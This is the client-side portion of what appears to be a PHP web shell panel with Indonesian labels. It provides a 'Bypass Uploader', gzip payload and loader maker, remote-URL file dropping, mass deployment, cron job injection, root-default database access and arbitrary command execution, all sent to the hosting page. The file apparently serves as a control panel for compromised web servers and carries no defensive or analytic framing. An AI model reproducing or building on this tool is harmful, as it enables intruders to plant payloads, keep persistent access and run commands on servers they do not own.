                                        <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Status</th>
                                        <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Source</th>
                                        <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Target/Destination</th>
                                    </tr>
                                </thead>
                                <tbody>
                `;
                
                let index = 1;
                for (let r of res.results) {
                    const statusIcon = r.status === 'success' ? 'โœ…' : 'โŒ';
                    const statusColor = r.status === 'success' ? '#0f0' : '#f66';
                    const sourceDisplay = r.source ? (r.source.length > 50 ? r.source.substring(0, 47) + '...' : r.source) : '-';
                    const targetDisplay = r.target ? (r.target.length > 50 ? r.target.substring(0, 47) + '...' : r.target) : '-';
                    
                    html += `
                        <tr style="border-bottom:1px solid #222">
                            <td style="padding:6px 8px;color:#888">${index++}</td>
                            <td style="padding:6px 8px;color:${statusColor};font-weight:bold">${statusIcon} ${r.status}</td>
                            <td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.source || '')}">${escapeHtml(sourceDisplay)}</td>
                            <td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.target || r.message || '')}">${escapeHtml(targetDisplay)}</td>
                        </tr>
                    `;
                }
                
                html += `
                                </tbody>
                            </table>
                        </div>
                    </details>
                `;
            }
            
            html += `
                        <div style="margin-top:15px;padding-top:10px;border-top:1px solid #333">
                            <button onclick="document.getElementById('massResult').innerHTML = ''; document.getElementById('fileList').value = ''; document.getElementById('urlList').value = ''" style="background:#333;color:#0f0">๐Ÿ—‘๏ธ Clear Results</button>
                            <button onclick="if(typeof refreshFileManager === 'function') refreshFileManager(); else location.reload()" style="margin-left:10px">๐Ÿ”„ Refresh</button>
                        </div>
                    </div>
                </div>
            `;
            
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `
                <div class="error" style="margin-top:15px;padding:15px;border-radius:5px">
                    <strong>โŒ Error:</strong> ${escapeHtml(res.message || 'Unknown error')}
                </div>
            `;
        }
    });
}

// ========== GZIP MAKER ==========
function renderGzipMaker() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ”จ Gzip Maker</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“Œ Source (path atau URL):</strong></label>
                <input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“› Gzip Name:</strong></label>
                <input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ”ง Use Loader?</strong></label><br>
                <label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label>
                <label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label>
                <div id="loaderDiv" style="display:none;margin-top:10px">
                    <label>Loader Name:</label>
                    <input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random">
                </div>
            </div>
            <button onclick="processGzip()">๐Ÿ”จ PROSES</button>
            <div id="gzipResult"></div>
        </div>
    `;
}

function toggleLoaderDiv(show) {
    document.getElementById('loaderDiv').style.display = show ? 'block' : 'none';
}

function processGzip() {
    const source = document.getElementById('gzipSource').value;
    if (!source) return alert('Masukkan source');
    
    const useLoader = document.querySelector('input[name="useLoader"]:checked').value;
    const loaderName = document.getElementById('loaderName')?.value || '';
    
    const resultDiv = document.getElementById('gzipResult');
    resultDiv.innerHTML = '<div class="loading"></div> Processing...';
    
    ajaxPost({
        ajax_action: 'make_gzip',
        source: source,
        gzip_name: document.getElementById('gzipName').value,
        use_loader: useLoader,
        loader_name: loaderName
    }, function(res) {
        if (res.status === 'success') {
            let html = `<div class="success" style="margin-top:15px">
                <h3>โœ… GZIP Created!</h3>
                <p>File: <a href="${res.gzip_file}">${res.gzip_file}</a> (${res.size})</p>`;
            if (res.loader_file) {
                html += `<p>๐Ÿ“ฆ Loader: <a href="${res.loader_file}">${res.loader_file}</a></p>`;
                html += `<details><summary>Preview</summary><pre>${escapeHtml(res.loader_content)}</pre></details>`;
            }
            html += `</div>`;
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ ${res.message}</div>`;
        }
    });
}

// ========== MULTI UPLOAD ==========
function renderMultiUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ“ค Multi Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“ Target Directory:</strong></label>
                <input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%">
            </div>
            <div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()">
                ๐Ÿ“‚ Drag & drop files here or click to select
            </div>
            <input type="file" id="multiFileInput" multiple style="display:none">
            <div id="multiFileList"></div>
            <button onclick="processMultiUpload()">๐Ÿš€ Upload All</button>
            <div id="multiResult"></div>
        </div>
    `;
    
    const dropzone = document.getElementById('multiDropzone');
    const fileInput = document.getElementById('multiFileInput');
    
    if (dropzone) {
        dropzone.addEventListener('dragover', (e) => e.preventDefault());
        dropzone.addEventListener('drop', (e) => {
            e.preventDefault();
            fileInput.files = e.dataTransfer.files;
            updateMultiFileList();
        });
    }
    if (fileInput) {
        fileInput.addEventListener('change', () => updateMultiFileList());
    }
}

function updateMultiFileList() {
    const input = document.getElementById('multiFileInput');
    let html = '<h4>Selected:</h4>';
    for (let i = 0; i < input.files.length; i++) {
        html += `<div>${escapeHtml(input.files[i].name)}</div>`;
    }
    document.getElementById('multiFileList').innerHTML = html;
}

function processMultiUpload() {
    const fileInput = document.getElementById('multiFileInput');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const targetDir = document.getElementById('multiTargetDir').value;
    const resultDiv = document.getElementById('multiResult');
    resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
    
    let completed = 0;
    let success = 0;
    let failed = 0;
    const total = fileInput.files.length;
    
    for (let i = 0; i < total; i++) {
        const formData = new FormData();
        formData.append('ajax_action', 'upload_file');
        formData.append('cwd', targetDir);
        formData.append('file', fileInput.files[i]);
        
        const xhr = new XMLHttpRequest();
        xhr.open('POST', window.location.href, true);
        xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
        xhr.onload = function() {
            completed++;
            if (xhr.status === 200) {
                try {
                    const res = JSON.parse(xhr.responseText);
                    if (res.status === 'success') success++;
                    else failed++;
                } catch(e) { failed++; }
            } else { failed++; }
            
            resultDiv.innerHTML = `<div>Uploading: ${completed}/${total} | โœ… ${success} | โŒ ${failed}</div>`;
            if (completed === total) {
                resultDiv.innerHTML += `<div class="success">โœ… Upload complete: ${success} success, ${failed} failed</div>`;
                document.getElementById('multiFileInput').value = '';
                document.getElementById('multiFileList').innerHTML = '';
            }
        };
        xhr.send(formData);
    }
}

// ========== RAW URL UPLOAD ==========
function renderRawUpload() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ“ฅ Raw URL Upload</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>URL:</strong></label>
                <input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>Save as (opsional):</strong></label>
                <input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“ Save Path:</strong></label>
                <input type="text" id="rawSavePath" style="width:100%" value="${currentPath}">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ”„ Rewrite Mode:</strong></label>
                <select id="rawRewriteMode">
                    <option value="skip">Skip if exists</option>
                    <option value="backup">Backup then overwrite</option>
                    <option value="overwrite">Overwrite</option>
                </select>
            </div>
            <button onclick="processRawUpload()">๐Ÿ“ฅ Download & Save</button>
            <div id="rawResult"></div>
        </div>
    `;
}

function processRawUpload() {
    const url = document.getElementById('rawUrl').value;
    if (!url) return alert('Masukkan URL');
    
    const resultDiv = document.getElementById('rawResult');
    resultDiv.innerHTML = '<div class="loading"></div> Downloading...';
    
    ajaxPost({
        ajax_action: 'raw_upload',
        raw_url: url,
        filename: document.getElementById('rawFilename').value,
        save_path: document.getElementById('rawSavePath').value,
        rewrite_mode: document.getElementById('rawRewriteMode').value
    }, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<div class="success">
                โœ… Downloaded: ${escapeHtml(res.file)} (${res.size})
            </div>`;
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ ${res.message}</div>`;
        }
    });
}

// ========== BYPASS UPLOADER ==========
function renderBypassUploader() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ”“ Bypass Uploader</h2>
            <div class="dropzone" onclick="document.getElementById('bypassFileInput').click()">
                ๐Ÿ“‚ Click to select file
            </div>
            <input type="file" id="bypassFileInput" style="display:none">
            <button onclick="processBypassUpload()">๐Ÿš€ Upload</button>
            <div id="bypassResult"></div>
        </div>
    `;
}

function processBypassUpload() {
    const fileInput = document.getElementById('bypassFileInput');
    if (!fileInput.files.length) return alert('Pilih file');
    
    const formData = new FormData();
    formData.append('ajax_action', 'upload_file');
    formData.append('cwd', currentPath);
    formData.append('file', fileInput.files[0]);
    
    const resultDiv = document.getElementById('bypassResult');
    resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if (xhr.status === 200) {
            try {
                const res = JSON.parse(xhr.responseText);
                resultDiv.innerHTML = `<div class="success">โœ… ${res.message}</div>`;
                fileInput.value = '';
            } catch(e) {
                resultDiv.innerHTML = `<div class="error">Error: ${e.message}</div>`;
            }
        } else {
            resultDiv.innerHTML = `<div class="error">Upload failed</div>`;
        }
    };
    xhr.send(formData);
}

// ========== EXTRACT MANAGER ==========
function renderExtractManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ“ฆ Extract / Unzip Files</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“ฆ ZIP File:</strong></label>
                <input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip">
            </div>
            <div style="background:#111;padding:15px;margin:10px 0">
                <label><strong>๐Ÿ“ Extract To:</strong></label>
                <input type="text" id="extractTo" style="width:100%" value="${currentPath}">
            </div>
            <button onclick="processExtract()">๐Ÿ“ฆ Extract Now</button>
            <div id="extractResult"></div>
        </div>
    `;
}

function processExtract() {
    const zipFile = document.getElementById('extractZipFile').value;
    const extractTo = document.getElementById('extractTo').value;
    if (!zipFile) return alert('Masukkan path ZIP file');
    
    const resultDiv = document.getElementById('extractResult');
    resultDiv.innerHTML = '<div class="loading"></div> Extracting...';
    
    ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: extractTo}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<div class="success">โœ… ${res.message}<br>๐Ÿ“ Target: ${escapeHtml(res.target)}</div>`;
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ ${res.message}</div>`;
        }
    });
}

// ========== CRON MANAGER ==========
function renderCronManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>โฐ Cron Job Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>โž• Add Cron Job</h3>
                <input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *">
                <input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/to/script.php">
                <button onclick="addCron()" style="margin-top:10px">Add Cron</button>
            </div>
            <div id="cronList"></div>
            <div class="info" style="margin-top:15px">
                <pre>Cron Format: * * * * * command
โ”‚ โ”‚ โ”‚ โ”‚ โ”‚
โ”‚ โ”‚ โ”‚ โ”‚ โ””โ”€ Day of week (0-7, 0 or 7 = Sunday)
โ”‚ โ”‚ โ”‚ โ””โ”€โ”€โ”€ Month (1-12)
โ”‚ โ”‚ โ””โ”€โ”€โ”€โ”€โ”€ Day of month (1-31)
โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Hour (0-23)
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Minute (0-59)</pre>
            </div>
        </div>
    `;
    refreshCronList();
}

function refreshCronList() {
    ajaxPost({ajax_action: 'cron_list'}, function(res) {
        const cronDiv = document.getElementById('cronList');
        if (res.status === 'success' && res.output && !res.output.includes('no crontab')) {
            const lines = res.output.split('\n');
            let html = '<h3>๐Ÿ“‹ Current Crontab</h3><table style="width:100%"><tr><th>Schedule</th><th>Command</th><th>Action</th></tr>';
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
                if (line && !line.startsWith('#')) {
                    const parts = line.split(' ');
                    const schedule = parts.slice(0, 5).join(' ');
                    const command = parts.slice(5).join(' ');
                    html += `<tr>
                        <td><code>${escapeHtml(schedule)}</code></td>
                        <td><code>${escapeHtml(command)}</code></td>
                        <td><button class="btn-small btn-danger" onclick="deleteCronLine(${i})">Delete</button></td>
                    </tr>`;
                }
            }
            html += `</table>`;
            cronDiv.innerHTML = html;
        } else {
            cronDiv.innerHTML = '<div class="warning">No crontab for this user</div>';
        }
    });
}

function addCron() {
    const schedule = document.getElementById('cronSchedule').value;
    const command = document.getElementById('cronCommand').value;
    if (!command) return alert('Masukkan command');
    
    ajaxPost({ajax_action: 'cron_add', schedule: schedule, command: command}, function(res) {
        if (res.status === 'success') {
            alert('Cron job added successfully');
            refreshCronList();
            document.getElementById('cronCommand').value = '';
        } else {
            alert('Failed to add cron: ' + (res.message || 'Unknown error'));
        }
    });
}

function deleteCronLine(lineNum) {
    if (!confirm('Delete this cron job?')) return;
    ajaxPost({ajax_action: 'cron_delete', line: lineNum}, function(res) {
        if (res.status === 'success') {
            alert('Cron job deleted');
            refreshCronList();
        } else {
            alert('Failed to delete cron: ' + (res.message || 'Unknown error'));
        }
    });
}

// ========== DATABASE MANAGER ==========
function renderDbManager() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ—„๏ธ Database Manager</h2>
            <div style="background:#111;padding:15px;margin:10px 0">
                <h3>๐Ÿ”Œ Database Connection</h3>
                <input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%">
                <input type="text" id="dbUser" placeholder="Username" value="root" style="width:100%;margin-top:10px">
                <input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px">
                <input type="text" id="dbName" placeholder="Database Name (optional)" style="width:100%;margin-top:10px">
                <input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px">
                <button onclick="connectDatabase()" style="margin-top:10px">๐Ÿ”Œ Connect</button>
            </div>
            <div id="dbResult"></div>
        </div>
    `;
}

function connectDatabase() {
    dbConfig = {
        host: document.getElementById('dbHost').value,
        user: document.getElementById('dbUser').value,
        pass: document.getElementById('dbPass').value,
        name: document.getElementById('dbName').value,
        port: document.getElementById('dbPort').value
    };
    
    const resultDiv = document.getElementById('dbResult');
    resultDiv.innerHTML = '<div class="loading"></div> Connecting...';
    
    ajaxPost({ajax_action: 'db_connect', ...dbConfig}, function(res) {
        if (res.status === 'success') {
            let html = `<div class="success">โœ… Connected successfully!</div>`;
            
            if (res.databases && res.databases.length) {
                html += `<h3>๐Ÿ“š Databases</h3><select id="dbSelect" onchange="selectDatabase()" style="width:100%">`;
                for (let db of res.databases) {
                    html += `<option value="${escapeHtml(db)}" ${db === dbConfig.name ? 'selected' : ''}>${escapeHtml(db)}</option>`;
                }
                html += `</select><br><br>`;
            }
            
            if (res.tables && res.tables.length) {
                html += `<h3>๐Ÿ“‹ Tables in ${escapeHtml(dbConfig.name)}</h3>
                        <div style="display:flex;flex-wrap:wrap;gap:10px">`;
                for (let table of res.tables) {
                    html += `<button class="btn-small" onclick="browseTable('${escapeHtml(table)}')">๐Ÿ“Š ${escapeHtml(table)}</button>`;
                }
                html += `</div>`;
            }
            
            html += `<div style="margin-top:20px">
                        <h3>๐Ÿ“ SQL Query</h3>
                        <textarea id="sqlQuery" style="width:100%;height:150px" placeholder="SELECT * FROM ..."></textarea>
                        <button onclick="executeQuery()" style="margin-top:10px">โ–ถ๏ธ Execute</button>
                    </div>
                    <div id="queryResult"></div>`;
            
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ Connection failed: ${escapeHtml(res.message)}</div>`;
        }
    });
}

function selectDatabase() {
    dbConfig.name = document.getElementById('dbSelect').value;
    connectDatabase();
}

function browseTable(tableName) {
    const resultDiv = document.getElementById('dbResult');
    resultDiv.innerHTML = '<div class="loading"></div> Loading table...';
    
    ajaxPost({ajax_action: 'db_browse_table', ...dbConfig, table: tableName}, function(res) {
        if (res.status === 'success') {
            let html = `<h3>๐Ÿ“Š Table: ${escapeHtml(tableName)}</h3>`;
            if (res.columns && res.columns.length) {
                html += `<div class="file-table-wrapper"><table class="db-table">
                    <thead><tr>`;
                for (let col of res.columns) {
                    html += `<th>${escapeHtml(col)}</th>`;
                }
                html += `</thead><tbody>`;
                
                for (let row of res.rows) {
                    html += `<tr>`;
                    for (let col of res.columns) {
                        html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`;
                    }
                    html += `</tr>`;
                }
                html += `</tbody></table></div>`;
                html += `<button onclick="connectDatabase()" style="margin-top:15px">โฌ…๏ธ Back</button>`;
            }
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ ${escapeHtml(res.message)}</div>`;
        }
    });
}

function executeQuery() {
    const query = document.getElementById('sqlQuery').value;
    if (!query) return alert('Masukkan SQL query');
    
    const resultDiv = document.getElementById('queryResult');
    resultDiv.innerHTML = '<div class="loading"></div> Executing query...';
    
    ajaxPost({ajax_action: 'db_query', ...dbConfig, query: query}, function(res) {
        if (res.status === 'success') {
            if (res.results && res.results.length) {
                const columns = Object.keys(res.results[0]);
                let html = `<div class="file-table-wrapper"><table class="db-table">
                    <thead><tr>`;
                for (let col of columns) {
                    html += `<th>${escapeHtml(col)}</th>`;
                }
                html += `</thead><tbody>`;
                
                for (let row of res.results) {
                    html += `<tr>`;
                    for (let col of columns) {
                        html += `<td><div style="max-width:300px;overflow-x:auto">${escapeHtml(row[col] || 'NULL')}</div></td>`;
                    }
                    html += `</tr>`;
                }
                html += `</tbody></table></div>`;
                html += `<div class="success">โœ… ${res.results.length} row(s) returned</div>`;
                resultDiv.innerHTML = html;
            } else {
                resultDiv.innerHTML = `<div class="success">โœ… Query executed successfully, no results returned</div>`;
            }
        } else {
            resultDiv.innerHTML = `<div class="error">โŒ ${escapeHtml(res.message)}</div>`;
        }
    });
}

// ========== COMMAND ==========
function renderCommand() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>โŒจ๏ธ Command Execution</h2>
            <div style="display:flex;gap:10px;flex-wrap:wrap">
                <input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()">
                <button onclick="executeCommand()">Execute</button>
            </div>
            <div id="cmdOutput" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:500px;border-radius:5px"></div>
        </div>
    `;
}

function executeCommand() {
    const cmd = document.getElementById('cmdInput').value;
    if (!cmd) return;
    const outputDiv = document.getElementById('cmdOutput');
    outputDiv.innerHTML = '<div><div class="loading"></div> Executing...</div>';
    ajaxPost({ajax_action: 'execute_cmd', cmd: cmd}, function(res) {
        if (res.status === 'success') {
            outputDiv.innerHTML = `<pre style="margin:0;white-space:pre-wrap;word-wrap:break-word">${escapeHtml(res.output)}</pre>`;
        } else {
            outputDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
        }
    });
}

// ========== SECURITY SCAN ==========
function renderSecurityScan() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐Ÿ”’ Security Scan</h2>
            <button onclick="runSecurityScan()">๐Ÿ›ก๏ธ Run Security Scan</button>
            <div id="securityResult"></div>
        </div>
    `;
}

function runSecurityScan() {
    const resultDiv = document.getElementById('securityResult');
    resultDiv.innerHTML = '<div class="loading"></div> Scanning...';
    
    ajaxPost({ajax_action: 'security_scan'}, function(res) {
        if (res.status === 'success') {
            let html = '<div class="success"><h3>โœ… Scan Complete</h3></div><pre>';
            for (let item of res.info) {
                html += item + '\n';
            }
            html += '</pre>';
            resultDiv.innerHTML = html;
        } else {
            resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// ========== NETWORK TOOLS ==========
function renderNetworkTools() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>๐ŸŒ Network Tools</h2>
            <div class="tab-buttons">
                <button class="tab-btn active" onclick="showNetworkTab('ping')">๐Ÿ“ก Ping</button>
                <button class="tab-btn" onclick="showNetworkTab('curl')">๐ŸŒ cURL</button>
                <button class="tab-btn" onclick="showNetworkTab('nslookup')">๐Ÿ” NSLookup</button>
            </div>
            <div id="pingTab" class="tab-content active">
                <h3>Ping</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="pingHost" style="flex:1" placeholder="google.com">
                    <button onclick="doPing()">Ping</button>
                </div>
            </div>
            <div id="curlTab" class="tab-content">
                <h3>cURL</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com">
                    <button onclick="doCurl()">cURL</button>
                </div>
            </div>
            <div id="nslookupTab" class="tab-content">
                <h3>NSLookup</h3>
                <div style="display:flex;gap:10px">
                    <input type="text" id="nslookupDomain" style="flex:1" placeholder="google.com">
                    <button onclick="doNslookup()">Lookup</button>
                </div>
            </div>
            <div id="networkResult" style="background:#0a0a0a;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div>
        </div>
    `;
}

function showNetworkTab(tab) {
    const pingTab = document.getElementById('pingTab');
    const curlTab = document.getElementById('curlTab');
    const nslookupTab = document.getElementById('nslookupTab');
    const btns = document.querySelectorAll('.tab-btn');
    
    pingTab.classList.remove('active');
    curlTab.classList.remove('active');
    nslookupTab.classList.remove('active');
    btns.forEach(btn => btn.classList.remove('active'));
    
    if (tab === 'ping') {
        pingTab.classList.add('active');
        btns[0].classList.add('active');
    } else if (tab === 'curl') {
        curlTab.classList.add('active');
        btns[1].classList.add('active');
    } else {
        nslookupTab.classList.add('active');
        btns[2].classList.add('active');
    }
}

function doPing() {
    const host = document.getElementById('pingHost').value;
    if (!host) return alert('Masukkan host');
    const resultDiv = document.getElementById('networkResult');
    resultDiv.innerHTML = '<div class="loading"></div> Pinging...';
    ajaxPost({ajax_action: 'network_ping', host: host}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
        }
    });
}

function doCurl() {
    const url = document.getElementById('curlUrl').value;
    if (!url) return alert('Masukkan URL');
    const resultDiv = document.getElementById('networkResult');
    resultDiv.innerHTML = '<div class="loading"></div> Fetching...';
    ajaxPost({ajax_action: 'network_curl', url: url}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
        }
    });
}

function doNslookup() {
    const domain = document.getElementById('nslookupDomain').value;
    if (!domain) return alert('Masukkan domain');
    const resultDiv = document.getElementById('networkResult');
    resultDiv.innerHTML = '<div class="loading"></div> Looking up...';
    ajaxPost({ajax_action: 'network_nslookup', domain: domain}, function(res) {
        if (res.status === 'success') {
            resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
        } else {
            resultDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
        }
    });
}

// ========== INFO ==========
function renderInfo() {
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = `
        <div class="panel">
            <h2>โ„น๏ธ System Information</h2>
            <button onclick="refreshInfo()">๐Ÿ”„ Refresh</button>
            <div id="infoResult" style="margin-top:15px"></div>
        </div>
    `;
    refreshInfo();
}

function refreshInfo() {
    const div = document.getElementById('infoResult');
    div.innerHTML = '<div class="loading"></div> Loading system info...';
    
    ajaxPost({ajax_action: 'get_info'}, function(res) {
        if (res.status === 'success') {
            let html = '<table class="info-table">';
            for (let [key, value] of Object.entries(res.info)) {
                html += `<tr><th>${escapeHtml(key)}</th><td>${escapeHtml(String(value))}</td></tr>`;
            }
            html += `</table>`;
            div.innerHTML = html;
        } else {
            div.innerHTML = `<div class="error">${res.message}</div>`;
        }
    });
}

// Initialize
buildMenu();
loadAction('filemanager');
</script>
</body>
</html>
<?php
?>